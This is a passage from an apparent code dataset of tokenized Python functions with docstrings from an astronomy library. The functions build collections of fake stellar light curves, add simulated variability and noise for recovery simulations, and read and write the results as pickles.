mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>if mcol not in fakelcdict:<EOL><INDENT>measuredmags = _dict_get(lcdict, mcolget)<EOL>measuredmags = measuredmags[np.isfinite(measuredmags)]<EOL>if (randomizemags and magrms and mcol in magrms and<EOL>'<STR_LIT>' in magrms[mcol] and<EOL>magrms[mcol]['<STR_LIT>'] is not None):<EOL><INDENT>interpfunc = magrms[mcol]['<STR_LIT>']<EOL>lcmad = interpfunc(fakelcdict['<STR_LIT>']['<STR_LIT>'])<EOL>fakelcdict['<STR_LIT>'][mcol] = {<EOL>'<STR_LIT>': fakelcdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>': lcmad<EOL>}<EOL><DEDENT>else:<EOL><INDENT>if measuredmags.size > <NUM_LIT:9>:<EOL><INDENT>measuredmedian = np.median(measuredmags)<EOL>measuredmad = np.median(<EOL>np.abs(measuredmags - measuredmedian)<EOL>)<EOL>fakelcdict['<STR_LIT>'][mcol] = {'<STR_LIT>':measuredmedian,<EOL>'<STR_LIT>':measuredmad}<EOL><DEDENT>else:<EOL><INDENT>if (magrms and mcol in magrms and<EOL>'<STR_LIT>' in magrms[mcol] and<EOL>magrms[mcol]['<STR_LIT>'] is not None):<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % lcfile<EOL>)<EOL>interpfunc = magrms[mcol]['<STR_LIT>']<EOL>lcmad = interpfunc(fakelcdict['<STR_LIT>']['<STR_LIT>'])<EOL>fakelcdict['<STR_LIT>'][mcol] = {<EOL>'<STR_LIT>': fakelcdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>': lcmad<EOL>}<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% lcfile<EOL>)<EOL>fakelcdict['<STR_LIT>'][mcol] = {<EOL>'<STR_LIT>':fakelcdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':npr.random()*(<NUM_LIT:0.1> - <NUM_LIT>) + <NUM_LIT><EOL>}<EOL><DEDENT><DEDENT><DEDENT>fakelcdict[mcol] = np.full_like(_dict_get(lcdict, mcolget), <NUM_LIT:0.0>)<EOL>fakelcdict['<STR_LIT>'].append(mcol)<EOL><DEDENT><DEDENT>for mcol, ecol in zip(magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>if ecol not in fakelcdict:<EOL><INDENT>measurederrs = _dict_get(lcdict, ecolget)<EOL>measurederrs = measurederrs[np.isfinite(measurederrs)]<EOL>if (randomizemags and magrms and mcol in magrms and<EOL>'<STR_LIT>' in magrms[mcol] and<EOL>magrms[mcol]['<STR_LIT>'] is not None):<EOL><INDENT>interpfunc = magrms[mcol]['<STR_LIT>']<EOL>lcmad = interpfunc(fakelcdict['<STR_LIT>']['<STR_LIT>'])<EOL>fakelcdict['<STR_LIT>'][ecol] = {<EOL>'<STR_LIT>': lcmad,<EOL>'<STR_LIT>': <NUM_LIT:0.1>*lcmad<EOL>}<EOL><DEDENT>else:<EOL><INDENT>if measurederrs.size > <NUM_LIT:9>:<EOL><INDENT>measuredmedian = np.median(measurederrs)<EOL>measuredmad = np.median(<EOL>np.abs(measurederrs - measuredmedian)<EOL>)<EOL>fakelcdict['<STR_LIT>'][ecol] = {'<STR_LIT>':measuredmedian,<EOL>'<STR_LIT>':measuredmad}<EOL><DEDENT>else:<EOL><INDENT>if (magrms and mcol in magrms and<EOL>'<STR_LIT>' in magrms[mcol] and<EOL>magrms[mcol]['<STR_LIT>'] is not None):<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % lcfile<EOL>)<EOL>interpfunc = magrms[mcol]['<STR_LIT>']<EOL>lcmad = interpfunc(fakelcdict['<STR_LIT>']['<STR_LIT>'])<EOL>fakelcdict['<STR_LIT>'][ecol] = {<EOL>'<STR_LIT>': lcmad,<EOL>'<STR_LIT>': <NUM_LIT:0.1>*lcmad<EOL>}<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % lcfile<EOL>)<EOL>fakelcdict['<STR_LIT>'][ecol] = {<EOL>'<STR_LIT>':npr.random()*(<NUM_LIT> - <NUM_LIT>) + <NUM_LIT>,<EOL>'<STR_LIT>':npr.random()*(<NUM_LIT> - <NUM_LIT>) + <NUM_LIT><EOL>}<EOL><DEDENT><DEDENT><DEDENT>fakelcdict[ecol] = np.full_like(_dict_get(lcdict, ecolget), <NUM_LIT:0.0>)<EOL>fakelcdict['<STR_LIT>'].append(ecol)<EOL><DEDENT><DEDENT>fakelcdict['<STR_LIT>'] = timecols<EOL>fakelcdict['<STR_LIT>'] = magcols<EOL>fakelcdict['<STR_LIT>'] = errcols<EOL>fakelcfname = '<STR_LIT>' % fakelcdict['<STR_LIT>']<EOL>fakelcfpath = os.path.abspath(os.path.join(outdir, fakelcfname))<EOL>with open(fakelcfpath,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(fakelcdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>LOGINFO('<STR_LIT>' % (lcfile, fakelcfpath))<EOL>return (fakelcfpath, fakelcdict['<STR_LIT>'],<EOL>fakelcdict['<STR_LIT>'], fakelcdict['<STR_LIT>'])<EOL>", "docstring": "This preprocesses an input real LC and sets it up to be a fake LC.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        This is an input light curve file that will be used to copy over the\n        time-base. This will be used to generate the time-base for fake light\n        curves to provide a realistic simulation of the observing window\n        function.\n\n    outdir : str\n        The output directory where the the fake light curve will be written.\n\n    magrms : dict\n        This is a dict containing the SDSS r mag-RMS (SDSS rmag-MAD preferably)\n        relation based on all light curves that the input lcfile is from. This\n        will be used to generate the median mag and noise corresponding to the\n        magnitude chosen for this fake LC.\n\n    randomizemags : bool\n        If this is True, then a random mag between the first and last magbin in\n        magrms will be chosen as the median mag for this light curve. This\n        choice will be weighted by the mag bin probability obtained from the\n        magrms kwarg. Otherwise, the median mag will be taken from the input\n        lcfile's lcdict['objectinfo']['sdssr'] key or a transformed SDSS r mag\n        generated from the input lcfile's lcdict['objectinfo']['jmag'],\n        ['hmag'], and ['kmag'] keys. The magrms relation for each magcol will be\n        used to generate Gaussian noise at the correct level for the magbin this\n        light curve's median mag falls into.\n\n    randomizecoords : bool\n        If this is True, will randomize the RA, DEC of the output fake object\n        and not copy over the RA/DEC from the real input object.\n\n    lcformat : str\n        This is the `formatkey` associated with your input real light curve\n        format, which you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curve specified in `lcfile`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols : list of str or None\n        The timecol keys to use from the input lcdict in generating the fake\n        light curve. Fake LCs will be generated for each each\n        timecol/magcol/errcol combination in the input light curve.\n\n    magcols : list of str or None\n        The magcol keys to use from the input lcdict in generating the fake\n        light curve. Fake LCs will be generated for each each\n        timecol/magcol/errcol combination in the input light curve.\n\n    errcols : list of str or None\n        The errcol keys to use from the input lcdict in generating the fake\n        light curve. Fake LCs will be generated for each each\n        timecol/magcol/errcol combination in the input light curve.\n\n    Returns\n    -------\n\n    tuple\n        A tuple of the following form is returned::\n\n            (fakelc_fpath,\n             fakelc_lcdict['columns'],\n             fakelc_lcdict['objectinfo'],\n             fakelc_lcdict['moments'])", "id": "f14691:m11"}
{"signature": "def collection_worker(task):", "body": "lcfile, outdir, kwargs = task<EOL>try:<EOL><INDENT>fakelcresults = make_fakelc(<EOL>lcfile,<EOL>outdir,<EOL>**kwargs<EOL>)<EOL>return fakelcresults<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % lcfile)<EOL>return None<EOL><DEDENT>", "docstring": "This wraps `process_fakelc` for `make_fakelc_collection` below.\n\nParameters\n----------\n\ntask : tuple\n    This is of the form::\n\n        task[0] = lcfile\n        task[1] = outdir\n        task[2] = magrms\n        task[3] = dict with keys: {'lcformat', 'timecols', 'magcols',\n                                   'errcols', 'randomizeinfo'}\n\nReturns\n-------\n\ntuple\n    This returns a tuple of the form::\n\n        (fakelc_fpath,\n         fakelc_lcdict['columns'],\n         fakelc_lcdict['objectinfo'],\n         fakelc_lcdict['moments'])", "id": "f14691:m12"}
{"signature": "def make_fakelc_collection(lclist,<EOL>simbasedir,<EOL>magrmsfrom,<EOL>magrms_interpolate='<STR_LIT>',<EOL>magrms_fillvalue='<STR_LIT>',<EOL>maxlcs=<NUM_LIT>,<EOL>maxvars=<NUM_LIT>,<EOL>randomizemags=True,<EOL>randomizecoords=False,<EOL>vartypes=('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'),<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>if not isinstance(lclist, np.ndarray):<EOL><INDENT>lclist = np.array(lclist)<EOL><DEDENT>chosenlcs = npr.choice(lclist, maxlcs, replace=False)<EOL>fakelcdir = os.path.join(simbasedir, '<STR_LIT>')<EOL>if not os.path.exists(fakelcdir):<EOL><INDENT>os.makedirs(fakelcdir)<EOL><DEDENT>if isinstance(magrmsfrom, str) and os.path.exists(magrmsfrom):<EOL><INDENT>with open(magrmsfrom,'<STR_LIT:rb>') as infd:<EOL><INDENT>xmagrms = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(magrmsfrom, dict):<EOL><INDENT>xmagrms = magrmsfrom<EOL><DEDENT>magrms = {}<EOL>for magcol in magcols:<EOL><INDENT>if (magcol in xmagrms and<EOL>'<STR_LIT>' in xmagrms[magcol] and<EOL>'<STR_LIT>' in xmagrms[magcol]):<EOL><INDENT>magrms[magcol] = {<EOL>'<STR_LIT>':np.array(<EOL>xmagrms[magcol]['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':np.array(<EOL>xmagrms[magcol]['<STR_LIT>']<EOL>),<EOL>}<EOL>interpolated_magmad = spi.interp1d(<EOL>xmagrms[magcol]['<STR_LIT>'],<EOL>xmagrms[magcol]['<STR_LIT>'],<EOL>kind=magrms_interpolate,<EOL>fill_value=magrms_fillvalue,<EOL>)<EOL>magrms[magcol]['<STR_LIT>'] = interpolated_magmad<EOL>magbins = np.array(xmagrms[magcol]['<STR_LIT>'])<EOL>bincounts = np.array(xmagrms[magcol]['<STR_LIT>'])<EOL>binprobs = bincounts/np.sum(bincounts)<EOL>magrms[magcol]['<STR_LIT>'] = binprobs<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % magcol)<EOL>magrms[magcol] = {<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>}<EOL><DEDENT><DEDENT>tasks = [(x, fakelcdir, {'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':magrms,<EOL>'<STR_LIT>':randomizemags,<EOL>'<STR_LIT>':randomizecoords})<EOL>for x in chosenlcs]<EOL>fakeresults = [collection_worker(task) for task in tasks]<EOL>fakedb = {'<STR_LIT>':simbasedir,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':magsarefluxes}<EOL>fobjects, fpaths = [], []<EOL>fras, fdecls, fndets = [], [], []<EOL>fmags, fmagmads = [], []<EOL>ferrmeds, ferrmads = [], []<EOL>totalvars = <NUM_LIT:0><EOL>isvariableind = npr.randint(<NUM_LIT:0>,high=len(fakeresults), size=maxvars)<EOL>isvariable = np.full(len(fakeresults), False, dtype=np.bool)<EOL>isvariable[isvariableind] = True<EOL>fakedb['<STR_LIT>'] = isvariable<EOL>LOGINFO('<STR_LIT>' % maxvars)<EOL>vartypeind = npr.randint(<NUM_LIT:0>,high=len(vartypes), size=maxvars)<EOL>vartypearr = np.array([vartypes[x] for x in vartypeind])<EOL>fakedb['<STR_LIT>'] = vartypearr<EOL>for vt in sorted(vartypes):<EOL><INDENT>LOGINFO('<STR_LIT>' % (vt, vartypearr[vartypearr == vt].size))<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL>for fr in fakeresults:<EOL><INDENT>if fr is not None:<EOL><INDENT>fpath, fcols, finfo, fmoments = fr<EOL>fobjects.append(finfo['<STR_LIT>'])<EOL>fpaths.append(fpath)<EOL>fras.append(finfo['<STR_LIT>'])<EOL>fdecls.append(finfo['<STR_LIT>'])<EOL>fndets.append(finfo['<STR_LIT>'])<EOL>fmags.append(finfo['<STR_LIT>'])<EOL>fmagmads.append([fmoments[x]['<STR_LIT>'] for x in magcols])<EOL>ferrmeds.append([fmoments[x]['<STR_LIT>'] for x in errcols])<EOL>ferrmads.append([fmoments[x]['<STR_LIT>'] for x in errcols])<EOL><DEDENT><DEDENT>fobjects = np.array(fobjects)<EOL>fpaths = np.array(fpaths)<EOL>fras = np.array(fras)<EOL>fdecls = np.array(fdecls)<EOL>fndets = np.array(fndets)<EOL>fmags = np.array(fmags)<EOL>fmagmads = np.array(fmagmads)<EOL>ferrmeds = np.array(ferrmeds)<EOL>ferrmads = np.array(ferrmads)<EOL>fakedb['<STR_LIT>'] = fobjects<EOL>fakedb['<STR_LIT>'] = fpaths<EOL>fakedb['<STR_LIT>'] = fras<EOL>fakedb['<STR_LIT>'] = fdecls<EOL>fakedb['<STR_LIT>'] = fndets<EOL>fakedb['<STR_LIT>'] = fmags<EOL>fakedb['<STR_LIT>'] = fmagmads<EOL>fakedb['<STR_LIT>'] = ferrmeds<EOL>fakedb['<STR_LIT>'] = ferrmads<EOL>fakedb['<STR_LIT>'] = magrms<EOL>dboutfname = os.path.join(simbasedir,'<STR_LIT>')<EOL>with open(dboutfname, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(fakedb, outfd)<EOL><DEDENT>LOGINFO('<STR_LIT>' % (len(fakeresults), simbasedir))<EOL>LOGINFO('<STR_LIT>' % dboutfname)<EOL>return dboutfname<EOL>", "docstring": "This prepares light curves for the recovery sim.\n\n    Collects light curves from `lclist` using a uniform sampling among\n    them. Copies them to the `simbasedir`, zeroes out their mags and errs but\n    keeps their time bases, also keeps their RMS and median mags for later\n    use. Calculates the mag-rms relation for the entire collection and writes\n    that to the `simbasedir` as well.\n\n    The purpose of this function is to copy over the time base and mag-rms\n    relation of an existing light curve collection to use it as the basis for a\n    variability recovery simulation.\n\n    This returns a pickle written to the `simbasedir` that contains all the\n    information for the chosen ensemble of fake light curves and writes all\n    generated light curves to the `simbasedir/lightcurves` directory. Run the\n    `add_variability_to_fakelc_collection` function after this function to add\n    variability of the specified type to these generated light curves.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        This is a list of existing project light curves. This can be generated\n        from :py:func:`astrobase.lcproc.catalogs.make_lclist` or similar.\n\n    simbasedir : str\n        This is the directory to where the fake light curves and their\n        information will be copied to.\n\n    magrmsfrom : str or dict\n        This is used to generate magnitudes and RMSes for the objects in the\n        output collection of fake light curves. This arg is either a string\n        pointing to an existing pickle file that must contain a dict or a dict\n        variable that MUST have the following key-vals at a minimum::\n\n            {'<magcol1_name>': {\n                  'binned_sdssr_median': array of median mags for each magbin\n                  'binned_lcmad_median': array of LC MAD values per magbin\n             },\n             '<magcol2_name>': {\n                  'binned_sdssr_median': array of median mags for each magbin\n                  'binned_lcmad_median': array of LC MAD values per magbin\n             },\n             .\n             .\n             ...}\n\n        where `magcol1_name`, etc. are the same as the `magcols` listed in the\n        magcols kwarg (or the default magcols for the specified\n        lcformat). Examples of the magrmsfrom dict (or pickle) required can be\n        generated by the\n        :py:func:`astrobase.lcproc.varthreshold.variability_threshold` function.\n\n    magrms_interpolate,magrms_fillvalue : str\n        These are arguments that will be passed directly to the\n        scipy.interpolate.interp1d function to generate interpolating functions\n        for the mag-RMS relation. See:\n\n        https://docs.scipy.org/doc/scipy/reference/generated/scipy.interpolate.interp1d.html\n\n        for details.\n\n    maxlcs : int\n        This is the total number of light curves to choose from `lclist` and\n        generate as fake LCs.\n\n    maxvars : int\n        This is the total number of fake light curves that will be marked as\n        variable.\n\n    vartypes : list of str\n        This is a list of variable types to put into the collection. The\n        vartypes for each fake variable star will be chosen uniformly from this\n        list.\n\n    lcformat : str\n        This is the `formatkey` associated with your input real light curves'\n        format, which you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `lclist`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols : list of str or None\n        The timecol keys to use from the input lcdict in generating the fake\n        light curve. Fake LCs will be generated for each each\n        timecol/magcol/errcol combination in the input light curves.\n\n    magcols : list of str or None\n        The magcol keys to use from the input lcdict in generating the fake\n        light curve. Fake LCs will be generated for each each\n        timecol/magcol/errcol combination in the input light curves.\n\n    errcols : list of str or None\n        The errcol keys to use from the input lcdict in generating the fake\n        light curve. Fake LCs will be generated for each each\n        timecol/magcol/errcol combination in the input light curves.\n\n    Returns\n    -------\n\n    str\n        Returns the string file name of a pickle containing all of the\n        information for the fake LC collection that has been generated.", "id": "f14691:m13"}
{"signature": "def add_fakelc_variability(fakelcfile,<EOL>vartype,<EOL>override_paramdists=None,<EOL>magsarefluxes=False,<EOL>overwrite=False):", "body": "<EOL>lcdict = _read_pklc(fakelcfile)<EOL>if ('<STR_LIT>' in lcdict and<EOL>'<STR_LIT>' in lcdict and<EOL>not overwrite):<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(fakelcfile, lcdict['<STR_LIT>'],<EOL>repr(lcdict['<STR_LIT>'])))<EOL>return None<EOL><DEDENT>timecols, magcols, errcols = (lcdict['<STR_LIT>'],<EOL>lcdict['<STR_LIT>'],<EOL>lcdict['<STR_LIT>'])<EOL>if vartype in VARTYPE_LCGEN_MAP:<EOL><INDENT>vargenfunc = VARTYPE_LCGEN_MAP[vartype]<EOL><DEDENT>elif vartype is None:<EOL><INDENT>vargenfunc = None<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>(vartype, repr(list(VARTYPE_LCGEN_MAP.keys()))))<EOL>return None<EOL><DEDENT>if vargenfunc is not None:<EOL><INDENT>if (override_paramdists is not None and<EOL>isinstance(override_paramdists,dict)):<EOL><INDENT>variablelc = vargenfunc(lcdict[timecols[<NUM_LIT:0>]],<EOL>paramdists=override_paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL><DEDENT>else:<EOL><INDENT>variablelc = vargenfunc(lcdict[timecols[<NUM_LIT:0>]],<EOL>magsarefluxes=magsarefluxes)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>variablelc = {'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':lcdict[timecols[<NUM_LIT:0>]],<EOL>'<STR_LIT>':np.full_like(lcdict[timecols[<NUM_LIT:0>]], <NUM_LIT:0.0>),<EOL>'<STR_LIT>':np.full_like(lcdict[timecols[<NUM_LIT:0>]], <NUM_LIT:0.0>)}<EOL><DEDENT>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>times, mags, errs = lcdict[tcol], lcdict[mcol], lcdict[ecol]<EOL>mag_median = lcdict['<STR_LIT>'][mcol]['<STR_LIT>']<EOL>mag_mad = lcdict['<STR_LIT>'][mcol]['<STR_LIT>']<EOL>mag_rms = mag_mad*<NUM_LIT><EOL>err_median = lcdict['<STR_LIT>'][ecol]['<STR_LIT>']<EOL>err_mad = lcdict['<STR_LIT>'][ecol]['<STR_LIT>']<EOL>err_rms = err_mad*<NUM_LIT><EOL>magnoise = npr.normal(size=variablelc['<STR_LIT>'].size)*mag_rms<EOL>errnoise = npr.normal(size=variablelc['<STR_LIT>'].size)*err_rms<EOL>finalmags = mag_median + (variablelc['<STR_LIT>'] + magnoise)<EOL>finalerrs = err_median + (variablelc['<STR_LIT>'] + errnoise)<EOL>lcdict[mcol] = finalmags<EOL>lcdict[ecol] = finalerrs<EOL><DEDENT>lcdict['<STR_LIT>'] = variablelc['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = variablelc['<STR_LIT>']<EOL>if vartype is not None:<EOL><INDENT>lcdict['<STR_LIT>'] = variablelc['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = variablelc['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>lcdict['<STR_LIT>'] = np.nan<EOL>lcdict['<STR_LIT>'] = np.nan<EOL><DEDENT>tempoutf = '<STR_LIT>' % (fakelcfile, md5(npr.bytes(<NUM_LIT:4>)).hexdigest()[-<NUM_LIT:8>:])<EOL>with open(tempoutf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>if os.path.exists(tempoutf):<EOL><INDENT>shutil.copy(tempoutf, fakelcfile)<EOL>os.remove(tempoutf)<EOL><DEDENT>else:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>os.path.dirname(tempoutf))<EOL>raise<EOL><DEDENT>LOGINFO('<STR_LIT>' % (<EOL>lcdict['<STR_LIT>'],<EOL>vartype,<EOL>fakelcfile)<EOL>)<EOL>return {'<STR_LIT>':lcdict['<STR_LIT>'],<EOL>'<STR_LIT>':fakelcfile,<EOL>'<STR_LIT>':vartype,<EOL>'<STR_LIT>':lcdict['<STR_LIT>']}<EOL>", "docstring": "This adds variability of the specified type to the fake LC.\n\n    The procedure is (for each `magcol`):\n\n    - read the fakelcfile, get the stored moments and vartype info\n\n    - add the periodic variability specified in vartype and varparamdists. if\n      `vartype == None`, then do nothing in this step. If `override_vartype` is\n      not None, override stored vartype with specified vartype. If\n      `override_varparamdists` provided, override with specified\n      `varparamdists`. NOTE: the varparamdists must make sense for the vartype,\n      otherwise, weird stuff will happen.\n\n    - add the median mag level stored in `fakelcfile` to the time series\n\n    - add Gaussian noise to the light curve as specified in `fakelcfile`\n\n    - add a varinfo key and dict to the lcdict with `varperiod`, `varepoch`,\n      `varparams`\n\n    - write back to fake LC pickle\n\n    - return the `varinfo` dict to the caller\n\n    Parameters\n    ----------\n\n    fakelcfile : str\n        The name of the fake LC file to process.\n\n    vartype : str\n        The type of variability to add to this fake LC file.\n\n    override_paramdists : dict\n        A parameter distribution dict as in the `generate_XX_lightcurve`\n        functions above. If provided, will override the distribution stored in\n        the input fake LC file itself.\n\n    magsarefluxes : bool\n        Sets if the variability amplitude is in fluxes and not magnitudes.\n\n    overwite : bool\n        This overwrites the input fake LC file with a new variable LC even if\n        it's been processed before.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'objectid':lcdict['objectid'],\n             'lcfname':fakelcfile,\n             'actual_vartype':vartype,\n             'actual_varparams':lcdict['actual_varparams']}", "id": "f14691:m14"}
{"signature": "def add_variability_to_fakelc_collection(simbasedir,<EOL>override_paramdists=None,<EOL>overwrite_existingvar=False):", "body": "<EOL>infof = os.path.join(simbasedir,'<STR_LIT>')<EOL>with open(infof, '<STR_LIT:rb>') as infd:<EOL><INDENT>lcinfo = pickle.load(infd)<EOL><DEDENT>lclist = lcinfo['<STR_LIT>']<EOL>varflag = lcinfo['<STR_LIT>']<EOL>vartypes = lcinfo['<STR_LIT>']<EOL>vartind = <NUM_LIT:0><EOL>varinfo = {}<EOL>for lc, varf, _lcind in zip(lclist, varflag, range(len(lclist))):<EOL><INDENT>if varf:<EOL><INDENT>thisvartype = vartypes[vartind]<EOL>if (override_paramdists and<EOL>isinstance(override_paramdists, dict) and<EOL>thisvartype in override_paramdists and<EOL>isinstance(override_paramdists[thisvartype], dict)):<EOL><INDENT>thisoverride_paramdists = override_paramdists[thisvartype]<EOL><DEDENT>else:<EOL><INDENT>thisoverride_paramdists = None<EOL><DEDENT>varlc = add_fakelc_variability(<EOL>lc, thisvartype,<EOL>override_paramdists=thisoverride_paramdists,<EOL>overwrite=overwrite_existingvar<EOL>)<EOL>varinfo[varlc['<STR_LIT>']] = {'<STR_LIT>': varlc['<STR_LIT>'],<EOL>'<STR_LIT>': varlc['<STR_LIT>']}<EOL>vartind = vartind + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>varlc = add_fakelc_variability(<EOL>lc, None,<EOL>overwrite=overwrite_existingvar<EOL>)<EOL>varinfo[varlc['<STR_LIT>']] = {'<STR_LIT>': varlc['<STR_LIT>'],<EOL>'<STR_LIT>': varlc['<STR_LIT>']}<EOL><DEDENT><DEDENT>lcinfo['<STR_LIT>'] = varinfo<EOL>tempoutf = '<STR_LIT>' % (infof, md5(npr.bytes(<NUM_LIT:4>)).hexdigest()[-<NUM_LIT:8>:])<EOL>with open(tempoutf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcinfo, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>if os.path.exists(tempoutf):<EOL><INDENT>shutil.copy(tempoutf, infof)<EOL>os.remove(tempoutf)<EOL><DEDENT>else:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>os.path.dirname(tempoutf))<EOL>raise<EOL><DEDENT>return lcinfo<EOL>", "docstring": "This adds variability and noise to all fake LCs in `simbasedir`.\n\n    If an object is marked as variable in the `fakelcs-info`.pkl file in\n    `simbasedir`, a variable signal will be added to its light curve based on\n    its selected type, default period and amplitude distribution, the\n    appropriate params, etc. the epochs for each variable object will be chosen\n    uniformly from its time-range (and may not necessarily fall on a actual\n    observed time). Nonvariable objects will only have noise added as determined\n    by their params, but no variable signal will be added.\n\n    Parameters\n    ----------\n\n    simbasedir : str\n        The directory containing the fake LCs to process.\n\n    override_paramdists : dict\n        This can be used to override the stored variable parameters in each fake\n        LC. It should be a dict of the following form::\n\n            {'<vartype1>': {'<param1>: a scipy.stats distribution function or\n                                       the np.random.randint function,\n                            .\n                            .\n                            .\n                            '<paramN>: a scipy.stats distribution function\n                                       or the np.random.randint function}\n\n        for any vartype in VARTYPE_LCGEN_MAP. These are used to override the\n        default parameter distributions for each variable type.\n\n    overwrite_existingvar : bool\n        If this is True, then will overwrite any existing variability in the\n        input fake LCs in `simbasedir`.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict containing the fake LC filenames as keys and\n        variability info for each as values.", "id": "f14691:m15"}
{"signature": "def read_fakelc(fakelcfile):", "body": "try:<EOL><INDENT>with open(fakelcfile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with open(fakelcfile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT><DEDENT>return lcdict<EOL>", "docstring": "This just reads a pickled fake LC.\n\nParameters\n----------\n\nfakelcfile : str\n    The fake LC file to read.\n\nReturns\n-------\n\ndict\n    This returns an lcdict.", "id": "f14692:m1"}
